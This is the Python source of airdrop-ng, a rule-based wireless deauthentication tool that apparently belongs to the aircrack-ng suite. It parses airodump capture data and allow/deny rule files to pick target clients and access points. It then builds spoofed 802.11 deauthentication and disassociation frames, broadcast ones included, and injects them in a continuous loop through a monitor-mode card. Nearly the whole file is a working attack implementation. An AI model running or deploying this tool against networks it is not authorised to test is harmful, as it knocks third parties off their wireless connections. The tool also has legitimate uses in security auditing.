#!/usr/bin/env python
#part of project lemonwedge
__author__  = "TheX1le & King_Tuna"
__version__ = "2012.2.17.1.54.00"
__licence__ = "GPL2"
"""
Airdrop-ng A rule based wireless deauth tool
a component of project lemonwedge
Written by Thex1le and King_Tuna
"""
import sys, argparse, re, time, random, os
import pdb
#update the path with subdirectories
#lib for the libraries and support for the oui.txt file

# adds possible paths for support modules
#sys.path.extend(["./lib","/usr/lib/airdrop-ng"])
from time import sleep,localtime
from airdrop import bcolors, install_dir
from airdrop import libOuiParse, libDumpParse
from binascii import a2b_hex
try:
    import PyLorcon2
except ImportError as e:
    print("Did you read the readme? You seem to be missing PyLorcon2")
    print(e)


class messages:
    """
    handle all printing 
    allows for central logging
    """
    def __init__(self,log, dir="/var/log/"):
        """
        int vars for printing class
        """
        date         = localtime()
        self.date    = str(date[0])+str(date[1])+str(date[2])
        self.time    = str(date[3])+"-"+str(date[4])+"-"+str(date[5])
        self.logging = log #log error messages to a file
        #logfile
        self.logfile = dir+'/airdrop-ng_'+self.date+"-"+self.time+".log"
        self.color   = True #enable colors
        self.logBuff = [] #hold info before we write to a file
        
        if self.logging == True:
            try:
                file = open(self.logfile,'a')
                file.write(self.date+"-"+self.time+"\n")
                file.write("Airdrop-ng Logfile\n")
                file.close
            except IOError as e:
                self.logging = False
                self.printError(["Could not open file "+self.logfile+"\n\n",
                    str(e)+"\n"])

    def printMessage(self,message):
        """
        print standard info messages
        """
        TYPE = type(message).__name__
        if TYPE == 'list':
            for line in message:
                print(line)
        elif TYPE == 'str':
            print(message)
        self.log(message,TYPE)
        
    def printError(self,error):
        """
        write errors to stderr in red
        """
        TYPE = type(error).__name__
        if TYPE == 'list':
            for line in error:
                sys.stderr.write(bcolors.FAIL+line+"\n"+bcolors.ENDC)
        elif TYPE == 'str':
            sys.stderr.write(bcolors.FAIL+error+"\n"+bcolors.ENDC)
        self.log(error,TYPE)

    def log(self,data,TYPE):
        """
        write all messages to a file
        """
        if self.logging is False:
            return
        try:
            file = open(self.logfile,'a')
        except IOError as e:
            self.logging = False
            self.printError(["Could not open file "+self.logfile+"\n",
                str(e)+"\n"])
            sys.exit(-1)
        if TYPE == 'list':
            for item in data:
                file.write(str(item)+"\n") #str allows me to print out data structures
        elif TYPE == 'str':
            file.write(data)
        file.close

class parseFiles:
    """
    parse users acl rules into a dict for matching
    """
    def fileOpen(self,name):
        """
        Open the file and read in the rules and remove \\n characters
        """
        try:
            openFile = open(name,"r")
        except IOError as e:
            message.printError("\nAirdrop-ng rule file "+name+" does not exist")
            sys.exit(-1)
        rules = openFile.xreadlines()
        cleanedRules = []
        for line in rules:
            cleanedRules.append(line.rstrip())
        openFile.close()
        return cleanedRules
        
    def translateOUI(self,ouiLst,flag):
        """
        take an oui and find all matching mac addresses
        in the sniffed data
        """
        clientLst =[] #empty client list to hold are found clients
        #check if were doing client oui beck or bssid oui check
        if flag == 'c':
            db = self.airoClient.keys()
        elif flag == 'b':
            db = self.airoAP.keys()
        
        for key in db:
            if key[:8] in ouiLst:
                clientLst.append(key)
        return clientLst
                
    def ruleParse(self,ruleRaw):
        """
        parse the actual rules and return a dictionary
        """
        clientList    = []
        pipe          = ruleRaw.find('|')
        clientOuiList = [] #list to store client ouis
        bssidOuiList  = [] #list to store bssid ouis
        bssid         = None #place holder
        bssidList     = []
        essidList     = {}
        #build an essid to bssid lookup
        #BUG may be here if an essid has multiple bssids
        for ap in self.airoAP.values():
            essidList[ap["bssid"]] = ap["essid"]
        compTrue = ruleRaw[1:].find(';')
        if compTrue != -1:
                delim = ';'
        else:
            compTrue      = ruleRaw[1:].find(',') 
            if compTrue == -1:
                delim = ';'
            else: 
                delim = ','
        for position in ruleRaw[pipe+1:].split(delim):
            if position.upper() == "ANY": #client any
                break
            else:
                cmac = position.upper().replace("-",":")
                if self.validMacChk(cmac) == True: 
                    #build a list of clients
                    clientList.append(cmac)
                elif ouiLookup.compKeyChk(position) == True: #company oui lookup
                    #check to see if it's a company name we can lookup
                    clientOuiList.extend(ouiLookup.lookup_company(position))
                elif ouiLookup.ouiKeyChk(position) == True: #oui match
                    #check to see if it's an oui we can lookup
                    clientOuiList = [position]
                else:
                    message.printMessage([
                        "\nInvalid mac or company name",
                        "at "+position+" in "+ruleRaw," Moving on to next rule"])
                    return False

        #translate ouis then append them to client list
        if clientOuiList != []:
            clientList.extend(
                self.translateOUI(clientOuiList,'c')
                    )
            clientOuiList = [] #empty the var           
        #begin bssid parse
        if ruleRaw[2:pipe].upper() != "ANY":
            bssidMac = ruleRaw[2:pipe].replace("-",":") 
            valid = self.validMacChk(bssidMac)
            if valid == True :
                #match mac address
                bssidList = [bssidMac.upper()]
            
            elif bssidMac in essidList.values():
                #bssidMac is provided by the user and at this point is most
                #likely an essid
                for bssid in essidList:
                    #bssid is a true bssid
                    if essidList[bssid] == bssidMac:
                        bssidList.append(bssid)
            
            elif ouiLookup.compKeyChk(bssidMac) == True: #company oui lookup
                bssidOuiList.extend(ouiLookup.lookup_company(bssidMac))
                if bssidOuiList != []:
                    bssidList.extend(
                        self.translateOUI(bssidOuiList,'b')
                        )
                    bssidOuiList = [] #empty var
            elif ouiLookup.ouiKeyChk(bssidMac) == True: #oui match
                #check to see if it's an oui we can lookup
                    bssidOuiList = [bssidMac]
                    bssidList = self.translateOUI(bssidOuiList,'b')
                    bssidOuiList = [] #empty var
            else:
                message.printMessage([
                    "\nInvalid mac or company name",
                    "at "+position+" in "+ruleRaw," Moving on to next rule"])
                return False
        else:
            bssidList = ["ANY"]

        if bssidList == []:
            message.printMessage(["\nInvalid mac in bssid section of "+ruleRaw,
            "Or no matching ouis found in sniffed data",
            "Moving on to next rule"])
            return False 
        state = ruleRaw[0].lower()
        if len(bssidList) <= 1: 
            #if we only have one bssid we don't want to nest the dict in a list
                for bssid in bssidList:
                    
                    if clientList == [] and position.upper() != 'ANY':
                        ruleDict = {
                            "state":state,
                            "bssid":bssid,
                            "clients":[position],
                            "raw":ruleRaw}
                    
                    if clientList == [] and position.upper() == 'ANY':
                        ruleDict = {
                            "state":state,
                            "bssid":bssid,
                            "clients":"ANY",
                            "raw":ruleRaw}
                    else:
                        ruleDict = {
                            "state":state,
                            "bssid":bssid,
                            "clients":clientList,
                            "raw":ruleRaw}
        elif len(bssidList) > 1:
                #if more than one bssid nest each rule dict in a list
                ruleDict = []
                for bssid in bssidList:
                    if clientList == [] and position.upper() != 'ANY':
                        ruleDict.append({
                            "state":state,
                            "bssid":bssid,
                            "clients":[position],
                            "raw":ruleRaw
                            })
                    elif clientList == [] and position.upper() == 'ANY':
                        ruleDict.append({
                            "state":state,
                            "bssid":bssid,
                            "clients":"ANY",
                            "raw":ruleRaw
                            })
                    else:
                        ruleDict.append({
                            "state":state,
                            "bssid":bssid,
                            "clients":clientList,
                            "raw":ruleRaw
                            })
        return ruleDict
    
    def validChk(self,rule):
        """
        find commented lines
        """
        ruleStrip = rule.strip('\t').lstrip()
        if ruleStrip == "":
            return False
        elif ruleStrip[0] == "#":
            return False
        else:
            return True
    
    def commentOff(self,rules):
        """
        This is a horrible hack but the idea is to remove the commented lines
        """
        validRules = []
        while len(rules) != 0:
            chkme = rules.pop()
            if self.validChk(chkme) == True:
                validRules.append(chkme.strip('\t').lstrip())
        return validRules
    
    def run(self,fileName,AiroDBs):
        """
        populate ruleList
        """
        #are the airoDB's used by translate ouis
        self.airoClient = AiroDBs[0]#airodump client db
        self.airoAP     = AiroDBs[1]#airodump ap DB
        fileRules       = self.fileOpen(fileName)
        rawRules        = self.commentOff(fileRules)
        ruleList        = {}
        ruleCounter = 0
        rawRules.reverse() #reverse the rules as they get loaded in backwards
        for rule in rawRules: #populate ruleList 
            prule = self.ruleParse(rule)
            ruleCounter += 1
            if prule != False:
                    ruleList[ruleCounter] = prule
            else:
                continue
        return ruleList
    
    def validMacChk(self,mac):
        """
        Check for valid mac address
        If Invalid exit and print invalid mac and error msg to user
        """
        #regex will match format of DE:AD:BE:EF:00:00 or DE-AD-BE-EF-00-00
        check = '([a-fA-F0-9]{2}[:|\-]?){6}'
        if re.match(check, mac): 
            return True 
        else: 
            return False

class ruleMatch:
    """
    In the process of being depreciated
    Do Rule matching
    #NOTE in the future leave capr static and don't delete from it
    """
    
    def __init__(self,rulesDB,capr,ClientApDB,debug):
        """
        create vars for rule matching
        """
        self.violators  = {}            #dict with bssid as a key and list 
                                        #of clients as nested list these clients are our targets
        self.rulesDB    = rulesDB       #rules database
        self.capr       = capr          #client to ap relationship
        self.ClientApDB = ClientApDB    #Access point dict contain all info about each Ap
        self.debug      = debug         #debug flag
        self.violators  = {}            #dict with bssid as a key and list of clients 
        self.bssid      = None          #bssid of the rule we are looking at
        self.state      = None          #state of the rule either allow or deny
        self.clients    = []            #client list that are affected by the rules
        self.rule       = None          #entire rule so we can print for debug mode
        self.Client     = None          #the client we are currently working with
        self.fullRule   = None          #the entire dict for printing in error messages
        self.num        = None          #number of rule we are matching
        
    def locate_key(self):
        """
        take a client and locate its corresponding bssid
        iterate though capr and find unknown bssid a client is 
        associated with
        """
        for bssidKey in self.capr.keys():
            if self.Client in self.capr[bssidKey]:
                client_bssid = bssidKey
                #break at first match
                break
            else:
                #return none if client can't be found in capr
                client_bssid = None
        return client_bssid
    
    def rm_dupe(self,List):
        """
        Remove duplicates from list
        """
        dict = {}
        for item in List:
            dict[item]=item
        return dict.values()
    
    def ruleQue(self):
        """
        set global class values one at a time
        then call matcher
        """
        for num in sorted(self.rulesDB.keys()):
            #make sure the rules are called in order
            #it stops iterating at one less than we need so add +1
            if type(self.rulesDB[num]).__name__ == "list":
                for rule in self.rulesDB[num]:
                    self.bssid    = rule["bssid"]
                    self.state    = rule["state"]
                    self.clients  = rule["clients"]
                    self.rule     = rule["raw"]
                    self.fullRule = str(rule)
                    self.num      = str(num)
                    self.match() #call matching
            else:
                self.bssid    = self.rulesDB[num]["bssid"]
                self.state    = self.rulesDB[num]["state"]
                self.clients  = self.rulesDB[num]["clients"]
                self.rule     = self.rulesDB[num]["raw"]
                self.fullRule = str(self.rulesDB[num])
                self.num      = str(num)
                self.match() #call matching
        
        return self.violators #return kicklist

    def match(self):
        """
        Main list of rule conditions to check
        """
        if self.bssid != "ANY":
            if self.ClientApDB[1].has_key(self.bssid):
                self.channel = self.ClientApDB[1][self.bssid]["channel"]
                #if this var doesn't get set it causes an error
            else:
                message.printMessage([
                    "\nInvalid bssid "+self.bssid+" not found in sniffed data",
                    "Rule number "+self.num,self.rule, 
                    "Moving to next rule\n"])
                return
        #start rule matching
        if self.capr.has_key(self.bssid) or self.bssid == 'ANY':  
            #check to make sure we have target bssid in capr
            #start allow rule matching
            if self.state == "a":
                if self.bssid != "ANY" and self.clients != "ANY": 
                    #allow client to bssid rule matching
                        #if no any's delete clients we want to allow from capr 
                        #the rest are valid targets
                    for client in self.clients:
                        #update current working client
                        self.Client = client 
                        try: 
                            #attempt to remove client from capr dict
                            position = self.capr[self.bssid].index(self.Client)
                            del self.capr[self.bssid][position]
                        except ValueError:
                            pass
                    if self.violators.has_key(self.bssid):
                        #set allow bcast to False
                        self.violators[self.bssid][0]["allow"] = False
                        #set channel in case it has changed
                        self.violators[self.bssid][0]["channel"] = self.channel 
                    else:
                        self.violators[self.bssid] = [
                                {"allow":False,"channel":self.channel}, #support data
                                [] #empty client list
                                ]

                        if self.debug == True: #debug flag
                            message.printMessage(["Rule Number "+self.num,
                            self.rule, self.fullRule,
                            "Allow "+str(self.clients)+" client to "+self.bssid+" bssid\n"])

                
                elif self.bssid != "ANY" and self.clients == "ANY": # 
                    #allow bssid any client rule matching
                    #remove the bssid and all clients from our target list
                    del self.capr[self.bssid] 
                    #remove the clients and the bssid from the target list 
                    #potential bug
                    if self.debug == True:
                        message.printMessage(["Rule Number "+self.num,
                            self.rule, self.fullRule,
                            "\nAll clients allowed to talk to "+self.bssid+" bssid",
                            "No packets will be sent"])
                
                elif self.bssid == "ANY" and self.clients == "ANY":
                    #allow any any rule matching
                    if self.debug == True:
                        message.printMessage(["Rule Number "+self.num,
                            self.rule,self.fullRule,
                            "All clients are allowed to all Aps No packets will be sent\n"])
                    
                    message.printMessage(["\nReached "+self.rule+" "+self.fullRule,
                    "Rule Number "+self.num,
                    "Rule is allow any any no Packets will be sent"])
                    sys.exit(0)
                
                elif self.bssid == "ANY" and self.clients != "ANY":
                    #allow some clients to talk to any AP
                    for client in self.clients:
                        self.Client = client
                        self.bssid = self.locate_key()
                        #look up each client and update self.bssid
                        if self.bssid == None:
                            message.printMessage([
                                "\nClient "+self.Client+" not found in sniffed data,",
                                "Client will be ignored"])
                            #continue #skip this client and move on to the next in the for loop
                            return
                        else: 
                            #set channel
                            self.channel = self.ClientApDB[1][self.bssid]["channel"]
                        try:
                            #locate the clients position in capr
                            position = self.capr[self.bssid].index(self.Client)
                            del self.capr[self.bssid][position] #remove it from capr
                        except ValueError:
                            pass
                        
                        if self.violators.has_key(self.bssid):
                            self.violators[self.bssid][0]["allow"] = False
                            self.violators[self.bssid][0]["channel"] = self.channel
                        else:
                            self.violators[self.bssid] = [
                                    {"allow":False,"channel":self.channel}, #support data
                                    [] #empty client list
                                    ]
                        
                        if self.debug == True:
                            message.printMessage(["Rule Number "+self.num,
                            self.rule,self.fullRule,
                            "Allow "+self.Client+" client to "+self.bssid+" bssid\n"])
                else: 
                    message.printError(["ERROR in config file at:",
                        "Rule Number "+self.num,
                        self.rule,self.rulesDB,
                        "Could not match "+self.bssid+" or "+self.clients,
                        "Please check the rule and try again"])
                    sys.exit(-1)
            
            #deny rule matching
            elif self.state == "d":
                if self.bssid == "ANY" and self.clients == "ANY": #global deauth
                    #any any match rule
                    message.printMessage(["\nReached global deauth at rule "+self.rule,
                        "Rule Number "+self.num,
                        "All clients that don't have a rule will be kicked at this point"])
                    for key in self.capr: #looping though to allow channel lookup
                        self.bssid = key
                        self.channel = self.ClientApDB[1][self.bssid]["channel"]
                        if self.violators.has_key(self.bssid):
                            #we assume at this point that the bcast allow has been set
                            self.violators[self.bssid][1].extend(
                                    self.capr[self.bssid] #add all clients
                                    )
                            #update channel in case it changed
                            self.violators[self.bssid][0]["channel"] = self.channel
                        else:
                            self.violators[self.bssid] = [
                                    {"allow":True,"channel":self.channel}, #support data
                                    self.capr[self.bssid] #list of clients to kick 
                                    ]
                    
                        if self.debug == True:
                            message.printMessage(["Rule Number "+self.num,
                            self.rule,self.fullRule,
                            "Deny "+str(self.capr[self.bssid])+" client to "+self.bssid+" bssid\n"])
                    #may change to a break since it's an any any
                    #continue #move on to the next rule in the list, later I'll probably break the iteration? 
                
                elif self.bssid == "ANY" and self.clients != 'ANY':
                    #deny any AP and select clients
                    for client in self.clients:
                        self.Client = client
                        self.bssid  = self.locate_key()
                        if self.bssid == None:
                            message.printMessage(["Unable to locate bssid for client "+client,
                                " Skipping\n"])
                            continue
                        #set channel
                        self.channel = self.ClientApDB[1][self.bssid]["channel"]
                        if self.bssid  == None:
                            message.printMessage(["Client "+self.Client+" not found in sniffed data",
                                "client will be ignored"])
                            #continue #skip this client and move on to the next in the for loop
                            continue 

                        if  self.capr.has_key(self.bssid): #checking for valid targets
                            if self.violators.has_key(self.bssid):
                                #extend the list of targets
                                self.violators[self.bssid][1].append(self.Client)
                                self.violators[self.bssid][0]["channel"] = self.channel
                            else:
                                self.violators[self.bssid] = [
                                    {"allow":False,"channel":self.channel},
                                    [self.Client]
                                    ]
                        
                        if self.debug == True:
                            message.printMessage(["Rule Number "+self.num,
                                self.rule,self.fullRule,
                                "Deny "+self.Client+" client to "+self.bssid+" bssid\n"])
                
                elif self.bssid != "ANY" and self.clients == "ANY":
                    #deny client any rule matching
                    if self.violators.has_key(self.bssid):
                        self.violators[self.bssid][1].extend(self.capr[self.bssid])
                        #remove any duplicate entries
                        self.violators[self.bssid][1] = self.rm_dupe(self.violators[self.bssid][1])
                        self.violators[self.bssid][0]["channel"] = self.channel
                    else:
                        self.violators[self.bssid] = [
                                {"allow":True,"channel":self.channel},
                                self.capr[self.bssid]
                                ]
                            
                    if self.debug == True:
                        for client in self.violators[self.bssid][1]:
                            message.printMessage(["Rule Number "+self.num,
                                self.rule,self.fullRule,
                                "Deny "+client+" clients to "+self.bssid+" bssid\n"])
                
                elif self.bssid != "ANY" and self.clients != "ANY":
                    #deny between client and AP no anys used
                    for client in self.clients:
                        #do the following checks for each client
                        self.Client = client
                        if self.Client not in self.capr[self.bssid]:
                            #if current client doesn't belong to current ap
                            #don't generate a packet for it
                            if self.debug == True:
                                message.printMessage(["Rule Number "+self.num,
                                    self.rule,self.fullRule,
                                    "Client "+self.Client+" not attached to "+self.bssid,
                                    "Moving on\n"])
                            continue
                        if self.violators.has_key(self.bssid):
                            self.violators[self.bssid][1].append(self.Client)
                        else:
                            self.violators[self.bssid] =[
                                {"allow":False,"channel":self.channel},
                                [self.Client]]
                        
                        if self.debug == True:
                            message.printMessage(["Rule Number "+self.num,
                                self.rule,self.fullRule,
                                "Deny "+self.Client+" client to "+self.bssid+" bssid\n"])
                        #do final processing on all affected clients
                        #remove duplicates
                        self.violators[self.bssid][1] = self.rm_dupe(self.violators[self.bssid][1])
                        #update channel on the card in case it changed
                        self.violators[self.bssid][0]["channel"] = self.channel
            else:
                message.printMessage(["Config file error at line",
                    self.rule,self.rulesDB[num],
                    "State must be either an a for allow or d for deny"])
                sys.exit(-1)

        return self.violators

class packetGenerator:
    """
    A collection of code for building packets
    """
    def __init__(self,allow_bcast,destination_addr,source_addr,bss_id_addr,channel):
        """
        initialize packet hex values
        """
        self.packetTypes = {
                "deauth":'\xc0\x00', #deauthentication packet header
                "disass":'\xa0\x00'  #disassoication packet header
                }
        self.packetBcast = {
                "ipv4":'\xff\xff\xff\xff\xff\xff', #ipv4 broadcast
                "ipv6":'\x33\x33\x00\x00\x00\x16', #ipv6 broadcast
                "stp":'\x01\x80\xc2\x00\x00\x00'   #Spanning Tree broadcast
                } 
                #note this also contains some multicast addresses
        self.packetReason = [
                '\x0a\x00', #Requested capability set is too broad 
                '\x01\x00', #unspecified 
                '\x05\x00', #disassociated due to insufficient resources at the ap
                '\x04\x00', #Inactivity timer expired
                '\x08\x00', #Station has left BSS or EBSS
                '\x02\x00'  #Prior auth is not valid
                ] #reason codes
        #add more reason codes?
        self.allow_bcast = allow_bcast
        self.destination_addr = self.convertHex(destination_addr)
        self.source_addr = self.convertHex(source_addr)
        self.bss_id_addr = self.convertHex(bss_id_addr)
        self.channel = channel

    def buildPacket(self,type,dstAddr,srcAddr,bssid,reasonCode):
        """
        Constructs the packets to be sent
        """
        #packetParts positions are as follows 
        #0:type 1:destination_addr 2:source_addr 3:bss_id_addr 4:reason
        packet = [type] #subtype
        packet.append('\x00\x00')   #flags
        packet.append(srcAddr)      #destain_addr
        packet.append(dstAddr)      #source_addr
        packet.append(bssid)        #bss_id_addr
        packet.append('\x70\x6a')   #seq number
        packet.append(reasonCode)   #reason code
        return "".join(packet)

    def convertHex(self,mac):
        """
        convert a mac address to hex
        """
        return a2b_hex(mac.replace(":",""))
    
    def packetEngine(self):
        """
        Build each packet based on options
        """
        packets = []
        if self.allow_bcast == False:
            #broadcast packets will not be sent
            for type in self.packetTypes: # tx two packets with random reasons one two and one from
                packets.append([
                    self.buildPacket(
                        self.packetTypes[type], #packet type
                        self.destination_addr,  #destinaion
                        self.source_addr,       #source
                        self.bss_id_addr,       #bssid
                        self.randReason()       #resoncode
                        ),
                    self.channel])
                packets.append([
                    self.buildPacket(
                        self.packetTypes[type], #packet type
                        self.source_addr,       #destination
                        self.destination_addr,  #source
                        self.bss_id_addr,       #bssid
                        self.randReason()       #reasoncode
                        ),
                    self.channel])

        if self.allow_bcast == True:
            #broadcast packets will be sent
            for type in self.packetTypes: #tx two packets with random reasons one too bssid and one from bssid
                packets.append([
                    self.buildPacket(
                        self.packetTypes[type],
                        self.destination_addr,
                        self.source_addr,
                        self.bss_id_addr,
                        self.randReason()
                        ),
                    self.channel])
                packets.append([
                    self.buildPacket(
                        self.packetTypes[type],
                        self.source_addr,
                        self.destination_addr,
                        self.bss_id_addr,
                        self.randReason()
                        ),
                    self.channel])
                for bcast in self.packetBcast:#send bcast packets one two and one from
                    packets.append([
                        self.buildPacket(
                            self.packetTypes[type], #packet type
                            self.packetBcast[bcast],#destination
                            self.source_addr,       #source
                            self.bss_id_addr,       #bssid
                            self.randReason()       #reasoncode
                            ),
                        self.channel])
                    packets.append([
                        self.buildPacket(
                            self.packetTypes[type], #packet type
                            self.source_addr,       #destination
                            self.packetBcast[bcast],#source
                            self.bss_id_addr,       #bssid
                            self.randReason()       #reasoncode
                            ),
                        self.channel])
        return packets
    
    def randReason(self):
        """
        Generate a random reason code for the kick
        """
        return self.packetReason[
            random.randrange(
                0,len(self.packetReason),1
                )
            ]
            
class getTargets():
    """
    Call parser for the airodump csv file and rule files
    """
    def __init__(self,rules,data,debug):
        """
        Init with all vars for getTargets class
        """
        self.FileParsers = parseFiles() #call all file parsing functions
        self.AirParser   = libDumpParse.airDumpParse() #call the airodump parser    
        self.rules       = rules        #file name of rules file
        self.Airo        = data         #file name of airodump csv file
        self.debug       = debug        #debug flag
        self.targets     = None         #var to store matched targets in
    
    def dataParse(self):
        """
        parse the user provided files and 
        place their outputs into the rule matcher
        """
        parsedAiro = self.AirParser.parser(self.Airo)
        parsedRules = self.FileParsers.run(self.rules,parsedAiro[1])
        rMatch = ruleMatch(parsedRules,parsedAiro[0],parsedAiro[1],self.debug)
        return rMatch.ruleQue()

    def run(self):
        """
        reparse all data every 4 seconds
        """
        self.targets = self.dataParse()

def lorconTX(pktNum=5,packet=None, channel=1 ,slept=0):
    """
    Uses lorcon2 to send the actual packets
    """
    #why the hell does pktNum default = 5?
    #pktNum is number each packet is sent
    count = 0
    try:
        cchannel = tx.get_channel()
    except PyLorcon2.Lorcon2Exception as e:
        message.printError(["\n Error Message from lorcon:",str(e),
            "Unable to get channel the wireless card is on"])
    try:
        tx.set_channel(channel) #set the channel to send packets on
    except PyLorcon2.Lorcon2Exception as e:
        message.printError(["\nError Message from lorcon:",str(e),
            "Unable to set channel card does not seem to support it",
            "Skipping packet"])
        return False
    while count != pktNum:
        try:
            tx.send_bytes(packet)
        except PyLorcon2.Lorcon2Exception as e:
            message.printMessage(['\nError Message from lorcon:',str(e),
            "Are you sure you are using the correct driver with the -d option?",
            "Or try ifconfig up on the card you provided and its vap."])
            sys.exit(-1)
        count += 1
    else:
            if slept > 0:
                    sleep(slept)
    return

def makeMagic(targets,slept = 0):
    """
    function where the targets are looped through
    and packets are sent to them
    """
    packetQue = []
    packetCount = 1 #hardcoded number of how many copies of each packet is sent
    for bssid in targets:
        for client in targets[bssid][1]:
            engine = packetGenerator(
                    targets[bssid][0]["allow"],
                    client,bssid,bssid,
                    targets[bssid][0]["channel"]
                    )
            packetQue.extend(engine.packetEngine())
    numPackets = len(packetQue)
    message.printMessage(
        "\nAttempting to TX "+str(numPackets)+" packets "+str(packetCount)+" times each")
    while len(packetQue) != 0:
        lorconTX(
            packetCount, #number of packets to send
            packetQue[0][0], #packet in hex
            int(packetQue[0][1]) #channel to tx the packet on
            )
        sleep(slept)
        del packetQue[0] #remove the sent packet from the que
    message.printMessage(
        "\nSent "+str(numPackets)+" packets "+str(packetCount)+" times each")
    return numPackets * packetCount
            

def help():
    """
    function for lemonwedge integration
    supports its show help call
    """
    print("<"+"~"*59+">\n")
    print("Airdrop Module for rule based deauth")
    print("This module requires airodump-ng to run")
    print("Module options:\n")
    print("\t? These need to be set")

def firstLoad():
    """
    provides var names need to run airdrop
    used for calling airdrop from PLW
    """
    allfunctionlist = {
        "startAirdrop":{
                "iface":"",                     #injection interface
                "driver":"mac80211",            #driver of the card we inject with
                "adlog":"/var/log/airodump-ng.log",#logfile to parse to decide on kick types
                "rules":install_dir + "/support/",  #the drop rules
                "slept":"0"                 #sleep time between each packet tx's
                }
            }
    
    return allfunctionlist

def startAirdop():
    """
    function for calling airdrop
    from PLW
    """
    pass

def usage():
    """
    Prints the usage to use airgraph-ng
    """
    print("\n"+bcolors.OKBLUE+"#"*49)
    print("#"+" "*13+bcolors.ENDC+"Welcome to AirDrop-ng"+bcolors.OKBLUE+" "*13+"#")
    print("#"*49+bcolors.ENDC+"\n")

def commandUsage():
    print("\nSample command line arguments:")
    print("\npython airdrop-ng -i wlan0mon -t airodump.csv -r rulefile.txt\n")

def OUIupdate():
    """
    update the ouilist
    """
    message.printMessage("Updating OUI list...")
    ouiUpdate()
    sys.exit(0)

if __name__ == "__main__":
    """
    Main function.
    Parses command line input for proper switches and arguments. Error checking is done in here.
    Variables are defined and all calls are made from MAIN.
    """
    usage()
    
    parser = argparse.ArgumentParser(description="airdrop-ng is a program used for targeted, rule-based deauthentication of users.")  #
    parser.add_argument("-i", "--interface",  dest="card",nargs=1, 
                help="Wireless card in monitor mode to inject from")
    parser.add_argument("-t", "--dump", dest="data", nargs=1 ,
                help="Airodump txt file in CSV format NOT the pcap")
    parser.add_argument("-r", "--rule",dest="rule", nargs=1 ,help="Rule File for matched deauths")
    parser.add_argument("-s", "--sleep",dest="slept",default=0,nargs=1,type=int,help="Time to sleep between sending each packet")
    parser.add_argument("-b", "--debug",dest="debug",action="store_true",default=False,help="Turn on Rule Debugging")
    parser.add_argument("-l", "--logging",dest="log",nargs="?",action="store",default=False,const=True,help="Enable Logging to a file, if file path not provided airdrop will log to default location")
    parser.add_argument("-n", "--nap",dest="nap",default=0,nargs=1,help="Time to sleep between loops")

    if len(sys.argv) <= 1: #check and show help if no arguments are provided at runtime
                parser.print_help()
                commandUsage()
                sys.exit(0)
    args = parser.parse_args()
    #set the program loop value
    
    #************
    #HUGE CHANGE
    #************
    
    #basically all of this code needs to be moved to startAirdrop()
    
    #************
    #HUGE CHANGE
    #************
    
    
    #start up printing
    if args.log is True or args.log is False:
        # if -l is supplied without a path --> args.log is True
        # if -l is not supplied --> args.log is False
        message = messages(args.log)
    else:
        # if -l is supplied with a path --> args.log is the path
        message = messages(True, args.log)

    
    TotalPacket = 0 #total packets tx'd

    if os.geteuid() != 0:
        message.printError(["airdrop-ng must be run as root.\n", 
        "Please 'su' or 'sudo -i' and run again.\n","Exiting...\n\n"])
        sys.exit(-1)
    
    #no longer need to import lorcon here instead we should just test opening up the card and check for errors
    liborcon2 = '/usr/local/lib/liborcon2.so'
    if os.path.isfile(liborcon2) is False:
        liborcon2 = '/usr/lib/liborcon2.so' #support the ubuntu folks
    
    try:
        try:
            """
            # the following code is marked for removal
            # more testing is needed

            try:
                liblorcon = lorcon.Lorcon(liborcon2)
            except OSError:
                message.printMessage(['\n',
                'Unable to find liborcon2.so in /usr/local/lib or /usr/lib , is lorcon2 installed?'])
                sys.exit(-1)
            """
            tx = PyLorcon2.Context(args.card[0])
            tx.open_injmon()
        except PyLorcon2.Lorcon2Exception as e:
            message.printMessage(["\n",
                e,"Interface %s does not exist" %(args.card[0])])
            sys.exit(-1)
        except ValueError:
            message.printMessage(["\n",
                "Interface %s does not exist" %(args.card[0])])
            sys.exit(-1)
        try:
            #populate the oui lookup databases
            try:    
                try:
                    ouiLookup = libOuiParse.macOUI_lookup("./support/oui.txt")
                except IOError:
                    ouiLookup = libOuiParse.macOUI_lookup(install_dir + "/support/oui.txt")
            except IOError:
                for path in libOuiParse.OUIPATH:
                        message.printError(["oui.txt not found in " + path])
                message.printError("Please run airodump-ng-oui-update")
                sys.exit(-1)

        except ImportError as e:
            message.printMessage(["\n",e,"ouiParser error"]) 
            sys.exit(-1)
        
        #Start the main loop
        napTime = float(args.nap[0])
        Targeting = getTargets(args.rule[0],args.data[0],args.debug)
        #set zero packet flag to false
        zp = False
        while True:
                Targeting.run() 
                if Targeting.targets != None:
                    rtnPktCount = makeMagic(Targeting.targets,int(args.slept[0]))
                    if rtnPktCount == 0:
                        message.printMessage("Zero Packets were to be sent, Napping for 5 sec to await changes in sniffed data\n")
                        zp = True
                    TotalPacket += rtnPktCount
                    if zp is True:
                        time = 5
                        zp = False
                    else:
                        time = napTime
                    message.printMessage("Waiting "+str(time)+" sec in between loops\n")
                    sleep(time)

    except (KeyboardInterrupt, SystemExit):
        message.printMessage(["\nAirdrop-ng will now exit","Sent "+str(TotalPacket)+" Packets",
            "\nExiting Program, Please take your card "+args.card[0]+" out of monitor mode"])
        sys.exit(0)
